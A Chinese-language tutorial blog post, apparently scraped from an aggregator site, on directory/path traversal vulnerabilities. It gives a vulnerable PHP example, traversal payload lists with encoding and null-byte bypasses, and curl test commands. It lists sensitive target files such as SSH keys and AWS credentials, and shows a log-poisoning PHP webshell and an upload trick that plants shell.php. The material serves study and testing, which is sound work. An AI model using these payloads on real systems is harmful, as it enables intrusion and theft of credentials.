当前位置: 首页 > news >正文

目录遍历漏洞学习

目录遍历漏洞,又称路径遍历漏洞,是Web安全领域中最常见的高危漏洞之一。攻击者利用此漏洞可以访问应用程序预期目录之外的文件和目录,导致敏感数据泄露甚至系统完全沦陷。

核心机制


危害类型影响程度示例
敏感数据泄露⭐⭐⭐⭐⭐配置文件、数据库凭证
系统文件读取⭐⭐⭐⭐/etc/passwd、注册表
源代码泄露⭐⭐⭐⭐.git、.env 文件
任意文件写入⭐⭐⭐⭐⭐Webshell上传
权限提升⭐⭐⭐⭐⭐读取SSH密钥

根本原因

// 典型漏洞代码示例
$file = $_GET['file'];
readfile("/var/www/uploads/" . $file);

攻击者输入:../../etc/passwd
实际访问路径:/var/www/uploads/../../etc/passwd = /etc/passwd

常见错误模式

  • 未过滤用户输入:直接拼接路径

  • 过滤不充分:仅检查部分关键词

  • 编码处理缺陷:未规范化解码

  • 权限配置不当:Web服务器权限过高


攻击

基础攻击手法

GET /download?file=../../../../etc/passwd HTTP/1.1
Host: vulnerable.com

高级绕过技术

过滤机制绕过方式示例
基础过滤URL编码..%2f..%2fetc%2fpasswd
关键词检测双重编码%252e%252e%252fetc%252fpasswd
路径截断空字节../../../etc/passwd%00.jpg
特殊字符超长路径....//....//etc/passwd
扩展名限制伪协议php://filter/convert.base64-encode/resource=config.php

操作系统特定Payload

Linux/Unix

/etc/passwd
/proc/self/environ
~/.ssh/id_rsa
/var/log/auth.log

Windows

C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
..\..\..\Windows\repair\SAM


手动检测

# 基础检测
curl http://site.com?file=../../../../etc/passwd# 编码绕过检测
curl http://site.com?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd# 空字节测试
curl http://site.com?file=../../../etc/passwd%00.png

自动化工具

工具类型特点
Burp Suite专业工具Intruder模块+自定义字典
OWASP ZAP开源扫描器自动路径遍历检测
ffuf命令行工具快速模糊测试
DotDotPwn专用扫描器多协议支持

字典示例

../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
....//....//etc/passwd
%C0%AE%C0%AE%2F (UTF-8编码)

案例

Apache HTTP Server (CVE-2021-41773)

Apahce HTTPd 2.4.49(CVE-2021-41773)漏洞复现详细教程_apatch cve-2021-41773 修复-CSDN博客https://blog.csdn.net/weixin_40412037/article/details/120777496CVE-2021-41773 Apache HTTP Server 路径穿越漏洞复现 - FreeBuf网络安全行业门户https://www.freebuf.com/articles/web/293172.html

WordPress插件漏洞

WordPress LayerSlider 插件存在SQL注入漏洞-CVE-2024-2879分析-先知社区https://xz.aliyun.com/news/14161高危WordPress插件漏洞威胁超1万个网站安全 - FreeBuf网络安全行业门户https://www.freebuf.com/articles/web/431480.htmlWordPress插件SQL注入漏洞——漏洞复现_wordpress sql注入复现-CSDN博客https://blog.csdn.net/weixin_40412037/article/details/110087518

高级利用技巧

结合文件上传

POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="../../public_html/shell.php"

日志文件注入

GET /<?php system($_GET['cmd']); ?> HTTP/1.1
...
# 通过遍历读取日志执行代码
GET /view?file=../../logs/access.log&cmd=id

环境文件泄露

/proc/self/environ       # 包含环境变量
~/.bash_history         # 历史命令
~/.aws/credentials      # AWS凭证

其他

目录遍历漏洞详解-CSDN博客https://blog.csdn.net/weixin_39190897/article/details/103589535WEB漏洞|目录浏览(目录遍历)漏洞和任意文件读取/下载漏洞-腾讯云开发者社区-腾讯云https://cloud.tencent.com/developer/article/1933531从0到1完全掌握目录遍历漏洞 - FreeBuf网络安全行业门户https://www.freebuf.com/articles/web/326213.html

http://www.lryc.cn/news/612101.html

相关文章:

  • 560. 和为 K 的子数组 - 前缀和思想
  • kubeadm-k8s 中的 etcd 备份与恢复
  • Nginx 跨域(CORS)配置详细介绍
  • 【教程】C++编译官方CEF3
  • [Oracle] NVL()函数
  • Python:文件管理
  • 玳瑁的嵌入式日记D13-0806(C语言)
  • 【运维进阶】DHCP服务配置和DNS域名解析
  • TypeScript ActionScript
  • 浅谈RNN被Transformer 取代的必然性
  • Kotlin Native调用C curl
  • Uniapp生物识别(SOTER)
  • 【第5话:相机模型1】针孔相机、鱼眼相机模型的介绍及其在自动驾驶中的作用及使用方法
  • 第二十六天(数据结构:树(补充版程序请看下一篇))
  • 数字图像处理(冈萨雷斯)第三版:第四章——空间滤波与频域滤波(平滑与锐化)——主要内容和重点
  • 【PHP 抽象类完全指南(含 PHP 8.4 新特性)】
  • 02.【数据结构-C语言】顺序表(线性表概念、顺序表实现:增删查、前向声明、顺序表实现通讯录项目:增删改查、通讯录数据导入及保存到本地文件)
  • Linux操作系统启动项相关研究与总结
  • Redis面试精讲 Day 12:Redis Sentinel哨兵机制详解
  • 深度学习(pytorch版)前言:环境安装和书籍框架介绍
  • 单变量单步时序预测:CNN-GRU卷积神经网络结合门控循环单元
  • Linux系统编程——环境变量、命令行参数
  • mysql8.0主从节点克隆
  • Numpy科学计算与数据分析:Numpy入门之多平台安装与基础环境配置
  • 用NAS如何远程访问:详细教程与实用技巧
  • 强强联合:OpenAI正式登陆AWS!
  • 【motion】标签体系设计与检索 1:HumanML3D 和 KIT Motion-Language(KITML)
  • 《Vue 3与Element Plus构建多语后台的深层架构》
  • 导入Excel打印
  • GEAR:一种高效的 KV Cache 压缩方法,用于几乎无损的大语言模型生成式推理